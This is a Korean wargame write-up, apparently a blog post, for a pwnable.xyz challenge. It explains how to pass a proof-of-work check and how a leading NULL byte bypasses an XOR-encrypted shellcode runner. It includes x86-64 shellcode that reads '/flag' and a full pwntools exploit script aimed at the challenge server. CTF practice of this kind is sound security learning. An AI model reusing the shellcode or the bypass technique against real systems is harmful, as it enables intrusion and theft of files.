void __cdecl solve_pow()
{
unsigned int n; // [rsp+8h] [rbp-18h]
int x; // [rsp+Ch] [rbp-14h]
int y; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 __canary; // [rsp+18h] [rbp-8h]
__canary = __readfsqword(0x28u);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
n = 0;
read(fd, &n, 4uLL);
close(fd);
x = 0;
y = 0;
printf("POW: x + y == 0x%x\n", n);
printf("> ");
if ( (unsigned int)_isoc99_scanf("%d %d", &x, &y) != 2 )
{
puts("scanf error");
exit(1);
}
getchar();
if ( y + x != n )
{
puts("POW failed");
exit(1);
}
puts("Loading challenge... ");
sleep(x * y);
}
|
처음 실행하는 solve_pow 함수에서는 랜덤으로 4바이트를 읽어서 n에 저장하고, 더해서 n이 되는 2개의 숫자를 보내야 한다.
sleep(x*y); 를 마지막에 실행하기 때문에 하나는 0, 하나는 n을 보내주면 된다.
fd= open("/dev/urandom", O_RDONLY);
if ( fd != -1 )
{
read(fd, key, 0x7FuLL);
close(fd);
printf("Input: ", key);
read(0, inpt, 0x7FuLL);
for ( i= 0; i< strlen(inpt); ++i)
inpt[i] ^= key[i];
page = mmap(NULL, 0x1000uLL, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0LL);
memcpy(page, inpt, 0x80uLL);
JUMPOUT(__CS__, page);
}
|
최대 0x7F 길이의 instruction set을 입력받고 inpt의 길이만큼 랜덤 키값이랑 xor해서 암호화한다. 첫 바이트를 NULL으로 설정하면 간단히 회피 가능..
00으로 시작하는 instruction은 add r/m8, r8 이다. page로 jump한 직후 write 가능한 주소를 가리키는 레지스터를 찾아서 add 연산을 처음에 붙여주면 암호화 루틴을 건너뛰면서 뒷 부분의 코드를 정상적으로 실행시킬 수 있다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
; set the first byte to NULL: 00 45 00
add byte ptr [rbp+0x0], al ; save page address mov r15, rax ; save string "/flag" to page+0x800 mov r14, 0x67616c662f mov qword ptr [r15+0x800], r14 ; fd = open("/flag", O_RDONLY) lea rdi, qword ptr [r15+0x800] mov rsi, 0 mov rax, 2 syscall ; read(fd, page+0x808, 0x40) mov rdi, rax lea rsi, [r15+0x808] mov rdx, 0x40 mov rax, 0 syscall ; write(1, page+0x808, 0x40) mov rdi, 1 mov rax, 1 syscall |
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
from pwn import *
import argparse context.arch = 'amd64' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30025) else : p = process('./challenge') def exploit() : n = int(p.readline().rstrip().split()[-1], 16) p.writelineafter(b'> ', '0 {}'.format(n).encode()) shellcode = ''' add byte ptr [rbp+0x0], al mov r15, rax mov r14, 0x67616c662f mov qword ptr [r15+0x800], r14 lea rdi, [r15+0x800] mov rsi, 0 mov rax, 2 syscall mov rdi, rax lea rsi, [r15+0x808] mov rdx, 0x40 mov rax, 0 syscall mov rdi, 1 mov rax, 1 syscall ''' p.write(asm(shellcode)) p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/9/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / badayum (0) | 2020.04.10 |
---|---|
pwnable.xyz / password (0) | 2020.04.10 |
pwnable.xyz / Punch it (0) | 2020.04.09 |
pwnable.xyz / catalog (0) | 2020.04.08 |
pwnable.xyz / PvP (0) | 2020.04.08 |